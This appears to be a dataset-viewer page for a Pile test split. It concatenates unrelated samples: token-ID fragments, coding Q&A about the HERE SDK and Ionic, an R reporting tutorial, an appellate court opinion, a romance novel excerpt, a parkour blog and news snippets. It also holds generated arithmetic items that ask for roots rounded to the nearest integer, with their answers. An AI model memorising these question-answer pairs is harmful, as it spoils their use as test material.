jsonW0/pile_test · Datasets at Hugging Face

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346, 17736, 3287, 187, 605, 368, 778, 417, 897, 436, 1873, 3707, 275, 10276, 342, 253, 4637, 15, 187, 605, 1422, 778, 4044, 247, 3491, 273, 253, 4637, 387, 187, 605, 187, 605, 50274, 2413, 1358, 2700 ]	012 0.556 20.165 {Product_375} {Product_376} 0.007 0.365 20.139 {Product_257} {Product_880} 0.006 0.378 19.847 {Product_63} {Product_385} 0.005 0.400 19.472 {Product_908} {Product_98} 0.007 0.412 18.702 {Product_376} {Product_378} 0.006 0.331 18.338 {Product_378} {Product_375} 0.006 0.384 17.824 {Product_54} {Product_719} 0.005 0.256 17.415 … … … … … At the table above we sorted our rules via lift and now we can see the top 10 most interesting associations in our data set. This information can now be used for purposes of cross-selling and up-selling. We also removed the redundant rules from this table. As you can see from the code above you can also easily use filters to find rules for a specific product. Find the whole code along with other projects on my Github. Imagine you want to do an automated reporting of the usage of a Facebook page (or multiple pages) and want the results to be displayed in a Google Spreadsheet. You can use two wonderful APIs in R to reach your goal easily with just a few lines of code and automate the whole process. First of all let us get some data from a public Facebook page with the help of the awesome Rfacebook package. This package provides a series of functions that allow R users to access Facebook’s API to get information about users and posts, and collect public status updates that mention specific keywords. Before requesting data you have to go to the Facebook developer website, register as a developer and create a new app (which will then give you an ID and secret to use the API). See the reference manual of the package for detailed information about the authentication process. The getPage function will request information from a public Facebook page. In our case we are requesting the last ten posts of a page with the ID 111492028881193. The request will also include information on the date the post were created, the content of the post and metrics like likes_count and shares_count. To find the ID of a Facebook page you can use this helpful website. See the reference manual of the package to find a lot more functions to get data via the API. Now having this data in a neat little data frame in R we want to write it automatically to a Google Spreadsheet. Here we can use the googlesheets package, which allows you to access and manage your Google spreadsheets directly from R. In our example we just going to create a new spreadsheet named “facebook_test” and load up our data from the Facebook API with just one line of code. Now you have an automated reporting from Facebook to Google spreadsheets with a little help of R. Make sure you also have a look at the reference manual of the googlesheets package, as it provides a lot of more possibilities to automate your reporting. The cool thing is that it is designed for the use with the %>% pipe operator and, to a lesser extent, the data-wrangling mentality of dplyr.Q: HERE API:Swift. Wierd behaviour : Loops in a route - Creating a route based on GPS trace creates loops. / passthrough waypoints im trying to create a route that follows a gps trace i provide. The gps trace is cleaned up and it has no loops in it and is in correct order. I checked it with other services. It has 1920 points. You can find the trace here GPX Files Sadly if i create a route based on provided sdk example (github) i get loops in my path. I was hoping you could help me to solve following problems: how do i avoid loops while creating route by using HERE ios Swift SDK how do i set route options is such way to follow provided point array and not create a fastest or balanced route. Since i could not find those functions in Ios sdk i used additional REST API to filter the route a bit to remove all points that were not matched correctly according to here maps... before drawing the route.. ie everything with low probability, warnings, big distance to the road... yet the result is still not good. Here is a cleaned up file.. the file is being created after the original was maped / run once through HERE Maps. In this file all points that have low confidence or produce warnings or have big distance to original points.. are removed. This is the one i use to create a route and it still have the same issues like loops and weird turns. Thank you very much in advance! BR. So far i have this code: private lazy var router = NMACoreRouter() @objc func do_routing_stuff( gps_trace :[NMAWaypoint]) { var stops = [Any]() stops = gps_trace let routingMode = NMARoutingMode(routingType:.fastest, transportMode:.car, routingOptions:.avoidHighway) // Trigger the route calculation router.calculateRoute(withStops: stops, routingMode: routingMode) { [weak self] routeResult, error in guard error ==.none else { self?.showMessage("Error:route calculation returned error code \(error.rawValue)") return } guard let result = routeResult, let routes = result.routes, routes.count > 0 else { self?.showMessage("Error:route result returned is not valid") return } // Let's add the 1st result onto the map self?.route = routes[0] self?.updateMapRoute(with: self?.route) // self?.startNavigation() } } private func updateMapRoute(with route: NMARoute?) { // remove previously created map route from map if let previousMapRoute = mapRoute { mapView.remove(mapObject:previousMapRoute) } guard let unwrappedRoute = route else { return } mapRoute = NMAMapRoute(unwrappedRoute) mapRoute?.traveledColor =.clear _ = mapRoute.map{ mapView?.add(mapObject: $0) } // In order to see the entire route, we orientate the // map view accordingly if let boundingBox = unwrappedRoute.boundingBox { geoBoundingBox = boundingBox mapView.set(boundingBox: boundingBox, animation:.linear) } } in comparison same route presented with leaflet maps. A: I believe the problem you have is that you are feeding the Routing API a large number of waypoints, all of which are in close proximity to each other. You have almost 2000 waypoints in your GPX file (and ~1300 in your cleaned one). Each of these waypoints is less than 10 meters distance from their closest neighbors. This is not the type of data that the Routing API is really designed to work with. I've experimented with your GPX Trace and I have come up with the following solution: simply skip a bunch of coordinates in your trace. First, clean up your trace using the Route Matching API (which I believe you have been doing). Second, pick the first trkpt in the GPX file as your first waypoint for the Routing call. Then skip the next 20 points. Pick the following trkpoint as the second waypoint. Repeat this until you are at the end of the file. Then add the last trkpt in the trace as the final waypoint. Then call the Routing API and you should get a good match between your trace and your route, without any loops or other weird routing artefacts. Some notes: I have picked 20 as the number of traces to skip, because this would put about 200m in between each waypoint. That should be close enough to ensure that the Routing API does not deviate too much from the traced route. For larger traces you may wish to increase that number. For traces in urban environments with lots alternate routes, you may want to use a smaller number. It's important to clean the data with the Route Matching API first, to avoid picking outliers as waypoints. Also, you may not wish to use the "avoidHighways" option. Given your use case, there doesn't seem to be a benefit and I could see it causing additional problems. // Copyright 2020 The Bazel Authors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www
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26, 1610, 281, 253, 1612, 273, 337, 16, 23, 13, 281, 253, 5275, 7007, 32 ]	did not attend the hearing and could not present her allegations of abuse was Diane’s testimony that 1 We note that there were multiple errors in the trial court’s order. Among those errors was a statement that the protected persons under the order were, not the petitioner but, rather, the “minor children listed in Part C”. Part C discusses “minor children of the parties” and has a diagonal line drawn through the section. 4 K.P. was “fearful,” and “did not want to come.” We find this hearsay testimony insufficient for the trial court to have concluded that K.P. was unable to pursue the petition on her own behalf. ¶ 17 We recognize that nothing in the law prohibited Diane from filing the petition on K.P.’s behalf, since at the time Diane filed the petition, K.P. was only 17 years old. See 750 ILCS 60/201(b) (West 2014). However, at the time the trial court held a hearing on the petition, K.P. was 18 years old, and, therefore, able to bring the petition on her own—i.e., no longer able to rely on her mother’s representation. Accordingly, we conclude the trial court erred in granting her a plenary order of protection against respondent. Were we to hold otherwise, we would be affirming an order of protection that the petitioner, a legally competent adult, may not have even known about, let alone wanted the trial court to enter on her behalf. See 750 ILCS 60/219 (West 2014) (requiring only that the respondent be notified of the hearing). ¶ 18 We understand a trial judge feeling the need to protect people. However, where an adult wants a court to issue an order of protection in her favor, she should, at the very least, be required to show up to court and present her allegations of abuse. K.P. did not do that here. Because we find this issue determinative, we need not reach respondent’s final two arguments. ¶ 19 CONCLUSION ¶ 20 For the foregoing reasons, we reverse the judgment of the circuit court of Peoria County and vacate the plenary order of protection against respondent. ¶ 21 Reversed; order vacated. 5 root of 19025306 to the nearest integer? 267 What is 290459 to the power of 1/5, to the nearest integer? 12 What is the tenth root of 612904 to the nearest integer? 4 What is 141107 to the power of 1/2, to the nearest integer? 376 What is 1030408 to the power of 1/10, to the nearest integer? 4 What is the cube root of 25909357 to the nearest integer? 296 What is the third root of 189958 to the nearest integer? 57 What is 283192 to the power of 1/9, to the nearest integer? 4 What is the seventh root of 524586 to the nearest integer? 7 What is the fifth root of 10200612 to the nearest integer? 25 What is the square root of 3504022 to the nearest integer? 1872 What is the square root of 1534114 to the nearest integer? 1239 What is 825221 to the power of 1/2, to the nearest integer? 908 What is the eighth root of 2565161 to the nearest integer? 6 What is the square root of 1599542 to the nearest integer? 1265 What is 118220 to the power of 1/3, to the nearest integer? 49 What is the fourth root of 4492 to the nearest integer? 8 What is the ninth root of 2783553 to the nearest integer? 5 What is the fourth root of 319710 to the nearest integer? 24 What is the fifth root of 12678965 to the nearest integer? 26 What is 581160 to the power of 1/3, to the nearest integer? 83 What is the cube root of 3202164 to the nearest integer? 147 What is 533221 to the power of 1/4, to the nearest integer? 27 What is the cube root of 10938550 to the nearest integer? 222 What is the fifth root of 608028 to the nearest integer? 14 What is 2310929 to the power of 1/3, to the nearest integer? 132 What is 9334225 to the power of 1/10, to the nearest integer? 5 What is 2804584 to the power of 1/2, to the nearest integer? 1675 What is 7018732 to the power of 1/5, to the nearest integer? 23 What is 3260952 to the power of 1/7, to the nearest integer? 9 What is the cube root of 16524498 to the nearest integer? 255 What is 2298684 to the power of 1/3, to the nearest integer? 132 What is the third root of 1878684 to the nearest integer? 123 What is the ninth root of 12007853 to the nearest integer? 6 What is 24500256 to the power of 1/3, to the nearest integer? 290 What is the fifth root of 43705951 to the nearest integer? 34 What is 259365 to the power of 1/10, to the nearest integer? 3 What is the third root of 85728 to the nearest integer? 44 What is 2197687 to the power of 1/10, to the nearest integer? 4 What is the tenth root of 955511 to the nearest integer? 4 What is 757910 to the power of 1/6, to the nearest integer? 10 What is the cube root of 1446506 to the nearest integer? 113 What is the square root of 914814 to the nearest integer? 956 What is the third root of 10367706 to the nearest integer? 218 What is the square root of 28981493 to the nearest integer? 5383 What is 5034938 to the power of 1/10, to the nearest integer? 5 What is 122213 to the power of 1/2, to the nearest integer? 350 What is 118439 to the power of 1/3, to the nearest integer? 49 What is 2074583 to the power of 1/2, to the nearest integer? 1440 What is the third root of 113353 to the nearest integer? 48 What is 2051501 to the power of 1/10, to the nearest integer? 4 What is the square root of 293915 to the nearest integer? 542 What is 2705938 to the power of 1/2, to the nearest integer? 1645 What is 32175 to the power of 1/6, to the nearest integer? 6 What is the cube root of 1338657 to the nearest integer? 110 What is the cube root of 4080533 to the nearest integer? 160 What is 42820 to the power of 1/8, to the nearest integer? 4 What is the square root of 88992 to the nearest integer? 298 What is the third root of 368633 to the nearest integer? 72 What is the cube root of 1802245 to the nearest integer? 122 What is the cube root of 3469148 to the nearest integer? 151 What is the third root of 39990331 to the nearest integer? 342 What is the cube root of 2991033 to the nearest integer? 144 What is the sixth root of 15491582 to the nearest integer? 16 What is the tenth root of 237871 to the nearest integer? 3 What is the seventh root of 3436836 to the nearest integer? 9 What is 5707 to the power of 1/7, to the nearest integer? 3 What is the sixth root of 266586 to the nearest integer? 8 What is 35514 to the power of 1/2, to the nearest integer? 188 What is 17535288 to the power of 1/5, to the nearest integer? 28 What is 287614 to the power of 1/9, to the nearest integer? 4 What is 691274 to the power of 1/3, to the nearest integer? 88 What is the cube root of 2969849 to the nearest integer? 144 What is 2459075 to the power of 1/5, to the nearest integer? 19 What is 56323 to the power of 1/7, to the nearest integer? 5 What is the square root of 166575 to the nearest integer? 408 What is the third root of 4034394 to the nearest integer? 159 What is the fifth root of 475825 to the nearest integer? 14 What is the sixth root of 5901010 to the nearest integer? 13 What is 330728 to the power of 1/3, to the nearest integer? 69 What is 2360686 to the power of 1/8, to the nearest integer? 6 What is 230933 to the power of 1/6, to the nearest integer?
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387, 253, 2159, 7467, 760, 15, 831, 5936, 326, 1175, 10668, 17561, 4857, 285, 20445, 11060, 1491, 625, 14556, 685, 4105, 10668, 15, 7088, 10668, 671, 12322, 271, 4503, 2408, 273, 41990, 387, 1097, 47668, 13, 5727, 4105, 10668, 2692, 3687, 41990, 387, 253, 3356, 7467, 15, 831 ]	be inside your superlove I need the spirit with the sexual I wanna be inside your superlove I want your superlove I wanna be inside your superlove I need the spirit with the sexual I wanna be inside your superlove I want your superlove I wanna be inside your superlove I need the spirit with the sexual I wanna be inside your superlove I want your superlove I wanna be inside your superlove I need the spirit with the sexual I wanna be inside your superlove I want your superlove I wanna be inside your superlove I need the spirit with the sexual I wanna be inside your superlove I want your superloveState-of-the art therapy for gastrointestinal stromal tumors. Until recently, there were few effective therapeutic options for patients with gastrointestinal stromal tumors (GISTs). Most patients undergoing even potentially curative resection for early-stage disease recurred if followed for a sufficiently long period, and treatment of advanced tumors with systemic chemotherapy was ineffective. Imatinib mesylate, a molecularly targeted agent that inhibits the KIT receptor tyrosine kinase, has now been demonstrated to be highly effective at inducing objective responses in GIST patients, and it improves overall survival. In locoregional disease, ongoing studies are assessing the use of imatinib pre-or postsurgery. In addition, other agents possessing activity against a variety of molecular targets are being tested in advanced disease. Questions remain about the optimal dose of imatinib, whether to continue drug in the setting of progressive disease, and how best to prevent or overcome resistance.You are here Make it three in a row for the Chucks DUBOIS — The Punxsy boys' soccer team won its third straight and improved its record to 5-1 with a 4-1 victory over DuBois Central Catholic Tuesday evening in DuBois. The Chucks jumped out to an early lead just 10 minutes into the contest when Tanner Evans buried one in the back of the net to give Punxsy a 1-0 lead. Two minutes later, Trevor Peace struck a ball toward the net, and after a few deflections in front of the net, the ball ended up across the goal line. The goal was scored an own-goal, though, so Peace wasn't given credit. Through the first 20 minutes, Punxsy seemed to have the game well under control, but the tide turned a bit when Peace made a break towards the goal and was met by DCC's keeper, attempting to stop his shot. The keeper came up on the short end of the collision and was injured, causing a stoppage in play, and Punxsy head coach Phil Shenkle said after that, his team seemed to lack the intensity it had come with in the first 20 minutes. "For the first part of the first half, we had pretty good control of the game," he said. "After the stoppage happened, we kind of powered down, and they didn't. I give them credit for that." Punxsy added two more goals late in the second half to make the final score seem a bit more out of reach than it actually was. "The score looked like we had it under control the whole game," Shenkle said. "But it was unsettling as a coach for it to be that close." Tyler Presloid scored both goals in the last seven minutes for Punxsy. The first came on a penalty kick, and the second was assisted by Carl Langley with just under two minutes to play. Punxsy defeated DCC in its season opener Sept. 6 in Punxsutawney, but Shenkle said the team it played Tuesday has come a long way in a short period of time. "They're a much better team this time around," he said. "They're playing better ball and playing better together. We were playing good enough to win, but maybe we were surprised by how much better they were. They've been a bit banged up this year and had quite a few scored on them, but I was really impressed with the way they played." DCC's only goal came from Danny Leroy in the 20th minute of the first half. Although he felt his team lost some its intensity after the stoppage, Shenkle was glad they played well enough to pick up the win and saw many promising signs before the incident. "We probably had 10 opportunities in the first 20 minutes where the ball just didn't bounce our way or their keeper made a good save," he said. Punxsy's next match is a home match against Redbank Valley Thursday. Shenkle said he doesn't know much about Redbank's squad this year, but the Chucks have lost the pastfew outings between the teams, and he is looking forward to a well-contested game.Marco's approach to how it does business makes me proud to be an employee. And that fact alone m:powers me as an individual to live up to the professional standard set by Marco and its leadership. Marco's focus on helping the community really sets them apart and they continue to support and encourage me to do the same.Millat Party The Millat Party (Urdu: ملت پارٹی) was a political party in Pakistan, formed by Sardar Farooq Ahmad Khan Leghari, former president of Pakistan, once he was no longer the president, and needed a platform to survive politically. He had the money to start a small-scale party. Because of his support to the establishment, a number of people joined him. Millat Party is now part of the ruling coalition where it is represented by Sardar Farooq Leghari's son, Owais Leghari. At the last legislative elections on 20 October 2002, the party was part of the National Alliance that won 4.6% of the popular vote, and 12 out of 272 elected members. In May 2004, Millat Party merged with PML (Q) along with other parties to form the united Pakistan Muslim League. References Category:Defunct political parties in PakistanQ: ionViewDidLoad() Method doesn't work? I am trying to implement an Email Authentication everything works fine but the Methode ionViewDidLoad doesn't get recognized? I tried the Methode ionViewWillLoad() but didn't work too. Does someone know what could be the problem? My Code: home.ts import {Component} from '@angular/core'; import {NavController, IonicPage, NavParams, ToastController} from 'ionic-angular'; import { AngularFireAuth} from 'angularfire2/auth'; @IonicPage() @Component({ selector: 'page-home', templateUrl: 'home.html' }) export class HomePage { constructor(private afAuth: AngularFireAuth, private toast: ToastController, public navCtrl: NavController, public navParams: NavParams) { } ionViewDidLoad(){ this.afAuth.authState.subscribe(data => { if (data.email && data.uid) { this.toast.create({ message: `Welcome to APP_NAME, ${data.email}`, duration: 5000 }).present(); } }) } } A: How are you calling your HomePage component? The ionViewDidLoad() hook is called when your component which implements it is pushed/popped from a NavController as said in the documentation : https://ionicframework.com/docs/api/navigation/NavController/ If the call of your component is not made by your NavController, the hook may not be called. So then you may use the constructor to call your function. import {Component} from '@angular/core'; import {NavController, IonicPage, NavParams, ToastController} from 'ionic-angular'; import { AngularFireAuth} from 'angularfire2/auth'; @IonicPage() @Component({ selector: 'page-home', templateUrl: 'home.html' }) export class HomePage { constructor(private afAuth: AngularFireAuth, private toast: ToastController, public navCtrl: NavController, public navParams: NavParams) { this.afAuth.authState.subscribe(data => { if (data.email && data.uid) { this.toast.create({ message: `Welcome to APP_NAME, ${data.email}`, duration: 5000 }).present(); } }) } } Quick, automatic, and general activation of orthographic and phonological representations in young readers. Second through 6th graders were presented with nonword primes (orthographic, pseudohomophone, and control) and target words displayed for durations (30 and 60 ms) that were brief enough to prevent complete processing. Word reading skills were assessed by 3 word and nonword naming tasks. Good readers exhibited more orthographic priming than poor readers at both durations and more pseudohomophone priming at the short duration only. This suggests that good readers activate letter and phonemic information more efficiently than poor readers. Good readers also exhibited an equal amount of priming at both durations, whereas poor readers showed greater priming at the longer duration. This
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2165, 1580, 15, 1500, 574, 574, 9828, 273, 1805 ]	-wife. Please tell me you haven't allowed that ball-playing buffoon you work for to get one over on me," Ballentine warned. "I won't allow a moronic minion like that to hold anything over my head. I'll take any and all measures to prevent it." "Brock, really." Morgan tried brushing it off, but she couldn't help but wonder what measures her ex-husband was talking about. "Don't you have bigger things to worry about?" "Yes," he hissed. "I do. But I always watch my back. Always." "I'm not your enemy." Morgan pleaded innocence. "I never was." "So, you'll let me know if there's anything I need to know – as soon as I need to know it?" "Yes." "And I do mean anything, Morgan," Ballentine forewarned. "Absolutely anything. Any little thing." "Anything, Brock," she said. "I got it." "No surprises, then?" he pressed further. "You know how I hate surprises." "I don't like them much, either, Brock," Morgan added, referring to the scores he had sprung on her over the long, tortured course of their marriage. Not the least of which was the conniving mistress whom Brock Ballentine eventually elevated to be his second wife. "No one does," she added. "No one." Chapter 16 It wasn't yet mid-morning, but Morgan already felt defeated and drained. Instead of being the businesswoman who authored her own opportunity, events were happening to her now. Away from the office, she felt unmoored, unplugged and adrift. A bobbing buoy to be buffeted by whatever direction the tides happened to be running. This wasn't Morgan. But what could she do? With both her ex-husband and a reporter sniffing around her exploits at the office, she had no choice but to stay away from the one place that had been her anchor for the past two tumultuous years. And as reluctant as she was about it, Morgan would have to trust Linden. She realized now that it was in her boss's own interest to protect her. Doing so would safeguard the company's IPO, which would rain money into all of their pockets. Clad in a terrycloth robe and slippers – a rare luxury on a weekday midmorning -- Morgan lumbered down the steps of her house. Her alert nose followed the delicious aroma of fresh-brewed coffee. And by now – hours behind her typically high-octane schedule – Morgan's very soul craved caffeine. She padded into the kitchen to find a fresh pot underneath the coffee maker. A mug and spoon were laid out nearby. Morgan so honed in on the coffee, she didn't immediately notice Travis surveying a sheaf of plans, sketches and materials catalogs at the kitchen table. Morgan poured and sipped at a steaming mug before her slowly sharpening eyes finally rose beyond the cup's brim. She wasn't surprised at all to see Travis there. In fact, she had been looking forward to seeing him. With both hands wrapped around her warm mug, she padded over to the table. Travis's brow was furrowed in concentration as his eyes surveyed the array of documents. Morgan didn't disturb him, merely padded up behind him and peered over his shoulder. She sipped from the cup, and as the mind sharpening properties of the caffeine pumped through her system, she began to realize what she was looking at. It was her kitchen. The kitchen she had imagined. The classic warm, country hearth that in her mind smelled of fresh baking bread and bacon sizzling on a griddle, along with that wonderful foundational undertone of good, strong coffee. "You did all this in one night?" Morgan whispered. Travis still didn't look up at her. "This house has a lot of potential," he said, still studying the drawings. "I guess I couldn't get it out of my head." He finally turned to her. His sharp, blue eyes found hers. She felt inadequate in his gaze, what with her wet hair and her face free of makeup. But his kind, comforting eyes held no judgment of her. Only warmth, just like the kitchen he had imagined for her. "Besides," he said. "I knew you'd be around the house for a couple days. And I know that isn't always the case. So I figured I'd better take advantage of the fact that I have a captive audience." "So, I'm your captive?" Morgan playfully asked. She could get used to such things. Travis raised one side of his mouth in an amused grin. "Let's just say I was worried that once you got back into your usual routine, I'd never get you to stand still long enough to make a decision." Morgan raised her gaze to her pathetic kitchen's ceiling, as if considering this. Then, she dipped her chin in agreement. Travis had a point there. "Maybe I've changed," Morgan allowed. "I go by what I see," Travis answered. "You've lived here going on two years. And while it's a great old house, it could use some work. It's not like money is a problem for you. So I'm thinking it must be time. You're just too busy to sign off on a project to fix your own house." "Money's a problem for everyone," Morgan pointed out, cynically. "Not me," Travis countered. "Never was high on my agenda." "That's not a very good opening position from which to negotiate your rate." Morgan smiled devilishly. "A woman in my position could really squeeze you for all you're worth now." "Only if I let you," he said. "But I don't negotiate. My rate is what it is. I know what I'm worth, and that's what I charge. I haven't had many complaints." "That, I do believe," Morgan said, raising her mug with both hands, and gently sipping from it. "I do like what I see," Morgan said. She meant the drawings, but her comments could have applied to Travis himself. "It's like you read my mind." "No," he said, narrowing his eyes and considering her. "That would be a fool's errand. I just listened and took my best swing." Morgan sat down at the table, and rested her cup on its surface. She picked up a catalog showing various cabinet styles and materials. She moved the booklet to one of the drawings, as if attempting to see how Travis's sketches would come to life. Travis watched her comb through the appliance catalogs, circling her favorites, and comparing them against the sketches. He was quiet, jotting occasional notes and figuring up prices. The two sat together like this for most of the morning, until nearly everything was decided. "So what do we do now?" Morgan brightly posed. "Well, you write me a check, and I order all the materials and appliances," he said. "The cabinets themselves could take up to three weeks, so I'll hold off on the real demo work until I get the delivery dates firmed up. You'll want to keep a working kitchen as long as you can. Believe me. It's going to get pretty ugly around here, before it gets better." "You wouldn't be one of those contractors who leaves a girl hanging, would you?" Morgan was playing with him again, randomly poking and prodding, looking for buttons on this calm, centered man whom she found so intriguing. "Haven't yet," Travis said. "But to be honest, there's not a lot I can do around here until the orders start coming in." "So you're going to just sketch and run?" Morgan asked, disappointed. "Actually, after I get these orders in, I was thinking about taking in a ballgame," he said. "There's a businessperson's special this afternoon." "I'm a businessperson," Morgan pointed out. "You tell me, am I special?" Travis broke into a full grin. "You're special, all right," he agreed. "Is that your way of inviting yourself to the game?" "A guy like you wouldn't want to drag a mother and two kids to a ballgame," Morgan tentatively stated. "Would you?" "You're clients now," Travis pointed out. "I can write it off." "Oh, I know," Morgan excitedly said. "I can call the office and see if I can get us seats in the corporate skybox." Travis frowned for the first time that morning. "That's not baseball," he said. "I'll get the seats. Just have the kids ready. And bring your mitt. I have a feeling we're gonna catch one today." "My mitt?" Morgan said, dumbfounded. She hadn't taken a mitt to a game since she went to old Three Rivers Stadium with Big Al. They sat way out in left field. Terrible seats by any standard. Big Al drank beer, ate peanuts and got sunburned. And Morgan hadn't had that much fun at a baseball game since. She had had plenty of better
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12864, 5402, 6865, 668, 327, 26958, 83, 1503, 90, 1657, 87, 457, 84, 5048, 285, 773, 27397, 8377, 254, 36558, 668, 407, 1608, 796, 13, 533, 597, 457, 250, 512, 794, 281, 294, 14 ]	, like Storror and Motus, have been uploading consistent isolation training vlogs. These have been unanticipated gems. Not only are they how-to-solo-train guides for the younger generation, they’ve taken us back to the days when training videos actually showed phenomenal athletes training. There is a definite level of added intimacy when it’s just a traceur and their camera. It almost feels like you’re there with them, struggling through the attempts and celebrating the successes. In a lot of ways, that’s the appeal of a vlog. The viewer gets behind-the-scenes access and feels part of the action. But these solo ones have really hit the nail on the head when it comes to capturing the lonely, satisfying moments that underlie our practice. In my experience, solo sessions – when approached the right way – are a pillar of healthy training. They give practitioners the chance to drill weaknesses, focus deeply, and zen out on the simple stuff. I mean, how often are you going to want to spend an hour balancing or sticking rail pres when you’re out with your friends? Solo training was vital to many of parkour’s OG practitioners, including the Yamak. While training with friends encourages us to build and explore an environment together, training alone more often results in an exploration of the self. Solo training can also be about as fun as a trip to the DMV…especially if you haven’t had much practice at it. Approaching a solo session with the same mindset you’d have for a jam or day out with friends is a recipe for disaster. After years of successful (and rage inducing) solo sessions, here are a few tips: Keep it simple. Don’t aim too high with your solo sessions. Start with a few simple jumps, or better yet a 5x5. Pick 5 challenges of increasing difficulty and try to complete each one five times. For added difficulty (and frustration) try to get all five completions in a row. Turning this simple drill into a 10x10 can also transform a 30 minute warm-up game into a full on training session. Back in my bachelor training days, I lost many an hour to 10x10s…and would often pick up new challenges in the process. The funny thing about starting slow and keeping it simple is that it doesn’t always have to stay that way. Starting sessions with a 10x10 pretty consistently led to drilling hard challenges once I was warmed up. All those hours and repetitions working at your limit add up! Appreciate incremental improvements. Parkour’s basic movements are open to an infinity of incremental improvements. Honing your basics during solo sessions is a great way to finesse your technique and zen out at the same time. Balance was always one of my favorite skills to work on when I’d train alone. Back in university, there was a 50m handrail behind the grad dorms. Between classes I’d try to spend 30 or 45 minutes balancing it, first forward, then backwards, then sideways. I tried to rail run the whole thing. I tried lunges across, and QM. I would walk it with my eyes closed, hands behind my back or on top of my head. I even tried carrying heavy logs and sandbags across it. Each session became a weird type of focused meditation. This same approach can be taken to any fundamental skill or technique. Ask yourself a few questions – where am I losing balance? Where am I losing speed or power? Where am I compensating? Then, try to come up with variations that help you answer and address each issue. It can be frustrating at times, but learning your body and what works best for you through deep practice is insanely rewarding in the long run. Choose spots wisely. My final piece of advice is that spots can make or break a session. Personally, I have trouble training alone at iconic spots or spots with benchmark personal challenges. I come in with clear expectations for what I’d like to get out of the spot, and if I’m not able to do it I tend to leave feeling pretty bummed. Without friends to keep you energized, motivated, and honest, those benchmark spots can be draining. Instead, I’ve found my best solo sessions tend to happen in the places I usually overlook - the random stairwells, handrails, and trees I walk past when I’m out training with friends. Simple spots help foster creativity, and like a Rubix cube often present new challenges every time you flip them around in your head. Sure, some spots can be too simple. A parking lot, or handful of curbs, may not present the right level of challenge for you. But don’t ignore every spot that doesn’t immediately yield dope Instagram content! Solo training is perfect for discovering the overlooked gems we all have in our hometowns. 2. A Return to the Classics Nostalgia, in addition to other, less pleasant quarantine aromas, has certainly been in the air recently. A few weeks ago, Dom Di Tommaso shared a handful of his favorite early parkour videos to Instagram. JimmytheGiant has been releasing mini-doc after mini-doc on interesting and relevant topics in parkour history/culture. I’ve been hosting a daily Instagram bracket for some of the most underappreciated parkour videos on YouTube. While I think we’re seeing another, different, golden age in parkour content right now, being stuck indoors definitely gives us an amazing opportunity to reconnect with classic videos and films. How many current practitioners have seen District B13? How many have watched Jump London and Jump Britain all the way through? Or Generation Yamakasi? What about the handful of early news reports with interviews from the founders? There are hours upon hours of classic videos to dive into for motivation and context when it comes to training parkour. Not only can they keep you entertained, they can inform your training and coaching. Additionally, if you’re a fan of hardcore training and haven’t read Julie Angel’s Breaking the Jump, you’re doing yourself a disfavor. It outlines in detail some of the stories that the Yamakasi mention only briefly in interviews and documentaries, and manages to make parkour’s origins sound like an early episode of Dragonball or One Punch Man. It’s a vital piece of parkour media, and there’s no better time to pick up a copy. While you’re waiting for it to get delivered (I highly recommend abebooks.com, who do a lot for local independent bookshops) make your way through some of these iconic videos in parkour history! The Founders Stade 2 Feature: The video that started it all, this was the first time parkour was caught on camera. David Belle TF1: An interview with David after he split from the rest of the Yamakasi. This interview is where a lot of parkour’s early philosophy and definitions come from. Generation Yamakasi: Intense training, a terrifying bail, and a deep dive into parkour philosophy, this full-length documentary has it all. The Monkey’s Back, Parkour Documentary: Even though Stephane Vigroux isn’t technically a founder, learning from David counts for something. This doc digs into Stephane’s training and is a good middle ground between the older and newer stuff. The Brits Jump London/Jump Britain: These are still some of the best productions in parkour history. If you haven’t seen them, get on it! Power is Nothing Without Control: Blane was a huge player in the early parkour community, and helped develop techniques we take for granted now. This video was a game-changer when it dropped in 2006. Cambridge Joy: Daniel Ilabaca, Chase Armitage, and baby Phil Doyle. What more could you want? Blitzdem 5: This video was a massive reel for England’s younger practitioners and still an absolute banger. Professor Longhair, Big Chief: The one viral video that deserves to be viral, this is still the video I show people when I’m trying to explain what parkour is (right after The Office, of course). Queue this one up with Constant Motion and Live On for the full classic Ampisound experience. Storror Summer: A sequel of sorts to Callum’s “Summer Video,” this early Storror masterpiece has good vibes, gnarly jumps, and beautiful cinematography. PKVM Episode 1: Although it’s no longer available on YouTube here in the US, you can download this 35 minute short film through their website. With cameos by Phil Doyle, Ben Jenkin, Daniel Ilabaca, and Neil Hutson it’s a well-produced look at an iconic community. The Russians Out of Time: Oleg’s unique take on parkour in this video changed the scene forever. T.ru Story: I’m not sure what the purpose of this short film was, but it seems like it aired on Russian television and is one of the most beautifully filmed and produced parkour pieces on the Internet. Moving between natural and urban environments, it features a variety of athletes and styles and is one of my all-time favorite long format videos. Alliance: There are a handful of videos featuring the short-lived, amorphous Russian powerhouse group “Alliance.” Two of my favorites are “Take Your Time” on Alexandr Zyulev’s channel and “Russian Freerunners” by Shade, but they’re all fun to re-
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337, 4632, 23914, 387, 1633, 8003, 281, 374, 15, 1976, 27, 18, 13, 359, 897, 253, 34664, 2791, 347, 7826, 253, 806, 8776, 281, 8968, 16613, 2762, 11528, 24390, 15, 187, 187, 24753, 253, 21169, 9058, 273, 11184, 29592, 285, 34664, 7661, 265, 285, 4156, 6982, 4916, 33696, 13, 1876, 423, 1079, 1804, 1711 ]	's no way to have Terminal on launch do absolutely nothing. You might want to check out iTerm2. Oops, something bad happened!Repeat action again. If you get this error again - please let us know at info@megaubytovanie.skOKGPS location cannot be detectedCustomize your localization settings in your browserOk freefully bookedvacant bedsOkpartially occupiedBook by clicking Contact and invoice dataPlease fill in your contact and invoice dataOkSearch agentPlease fill in the obligatory dataOkYour demand for accommodation has been createdYour demand for accommodation has been created, but requires <strong>confirmation</strong> sent to your e-mail.<br /> <br /> <strong>Confirm your advertisement by clicking on a link in the e-mail </strong>and we will immediately send your request to owners of the property/property managers which have suitable offers for you based on your criteria. They will contact you as soon as possible and send you offers with accommodation available. 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We have sent an e-mail to your e-mail address with a link for confirmation and check of the rating. Please confirm your rating.OkThe earliest possible date fordeparture isarrival isThe minimum capacity isThe maximum capacity isWith nearly every county reporting — Pueblo County is the only major county yet to report — Romanoff held a 51 percent to 42 percent lead over Bennet. Seven percent of caucus-goers said they were uncommitted. In a news release, Romanoff declared victory, calling the results a “shock wave” and said they reflect voter resentment of Washington politics and the big-money interests that contribute to it. The latter is a not-so-subtle shot at Bennet’s campaign coffers, which dwarf Romanoff’s. “We’re very encouraged by these results,” Romanoff said. “This is the first chance Main Street has had to weigh in. We’ve already heard from Washington and Wall Street.” Bennet’s campaign also called the results a victory, arguing that 